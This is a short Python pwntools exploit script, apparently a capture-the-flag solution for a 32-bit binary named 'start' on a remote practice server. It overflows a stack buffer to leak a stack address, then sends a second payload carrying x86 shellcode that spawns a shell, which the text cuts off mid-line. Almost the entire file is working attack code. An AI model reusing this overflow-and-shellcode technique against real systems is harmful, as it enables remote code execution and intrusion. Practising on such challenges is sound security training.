```
from pwn import *

io=remote('node4.buuoj.cn',29572)
#io=process('./start')
elf = ELF('./start')
context.log_level = 'debug'

#gdb.attach(io)
second_write = 0x08048087
payload='a'*0x14+p32(second_write)
io.send(payload)
io.recvuntil(':')
stack_addr = u32(io.recv(4))
print(hex(stack_addr))
payload = 'a'*0x14+p32(stack_addr+0x14)+'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x6
io.send(payload)

io.interactive()
```